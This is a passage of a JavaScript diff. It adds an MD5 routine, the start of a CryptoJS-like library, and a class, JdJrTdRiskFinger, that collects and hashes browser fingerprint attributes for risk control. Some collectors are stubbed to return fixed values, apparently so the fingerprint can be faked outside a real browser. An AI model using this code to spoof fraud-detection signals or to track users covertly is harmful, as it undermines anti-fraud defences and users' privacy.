23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a + } + function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) + } + + function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) + } + + function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) + } + + function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) + } + + function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 + } + _fingerprint_step = 2; + var y = "", + n = navigator.userAgent.toLowerCase(); + n.indexOf("jdapp") && (n = n.substring(0, 90)); + var e = navigator.language, + f = n; - 1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || + f.indexOf("windows mobile"); + var r = "NA", + k = "NA"; + try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) + } catch (a) { } + _fingerprint_step = 3; + var g = "NA", + m = "NA"; + try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); - 1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); - 1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); - 1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - 1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); - 1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); - 1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - 1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - 1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - 1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); - 1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - 1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") + } catch (a) { } + + + class JdJrTdRiskFinger { + f = { + options: function (){ + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" + .split(";"), + function (a) { + try { + return new ActiveXObject(a), a + } catch (b) { + return null + } + }).join(";") : "" + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage + } catch (a) { + return !0 + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage + } catch (a) { + return !0 + } + }, + hasIndexedDB: function () { + return true + return !!window.indexedDB + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA" + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA" + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA" + }, + getCanvasFp: function () { + return ''; + var a = navigator.userAgent.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL() + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]" + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource(q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + b.shaderSource(z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push("w8" + function (D) { + var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( + "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( + "MOZ_EXT_texture_filter_anisotropic"); + return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), + B) : null + }(b)); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( + C.UNMASKED_RENDERER_WEBGL))) + } catch (D) { } + return c.join("\u00a7") + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")) + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent) ? !0 : !1 + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c + .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) + } catch (l) { } + b || (b = null); + return b + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); + else if (a.length === +a.length) + for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++); + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z) + }); + return l + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; + b -= 32; + return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]] + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return a = this.x64Xor(a, [0, a[0] >>> 1]) + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) + q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & + 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( + B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << + 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( + B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & + 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( + B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = + this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, + b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( + z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = + this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, + 944331445]); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( + z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( + q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( + 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ + 1] >>> 0).toString(16)).slice(-8) + } + }; + } + + var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { + var v = {}, + x = v.lib = {}, + w = x.Base = function () { + function g() {} + return { + extend: function (m) { + g.prototype = this; + var a = new g; + m && a.mixIn(m); + a.hasOwnProperty("init") || (a.init = function () { + a.$super.init.apply(this, arguments) + }); + a.init.prototype = a; + a.$super = this; + return a + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m + }, + init: function () {}, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString) + }, + clone: function () { + return this.init.prototype.extend(this) + } + } + }(), + A = x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length + }, + toString: function (g) { + return (g || n).stringify(this) + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << + 24 - (b + c) % 4 * 8; + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; + g.length = t.ceil(m / 4) + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); + return new A.init(m, g) + } + }); + x.UUID = w.extend({ + generateUuid: function () { + for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16) + } + return g.join("") + } + }); + var y = v.enc = {}, + n = y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; + a.push((c >>> 4).toString(16)); + a.push((c & 15).toString(16)) + } + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << + 24 - b % 8 * 4; + return new A.init(a, m / 2) + } + }, + e = y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & + 255)); + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - + b % 4 * 8; + return new A.init(a, m) + } + }, + f = y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))) + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))) + } + }, + r = x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init; + this._nDataBytes = 0 + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b + } + return new A.init(h, b) + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g + }, + _minBufferSize: 0 + }); + x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset() + }, + reset: function () { + r.reset.call(this); + this._doReset() + }, + update: function (g) { + this._append(g); + this._process(); + return this + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + blockSize: 16, + 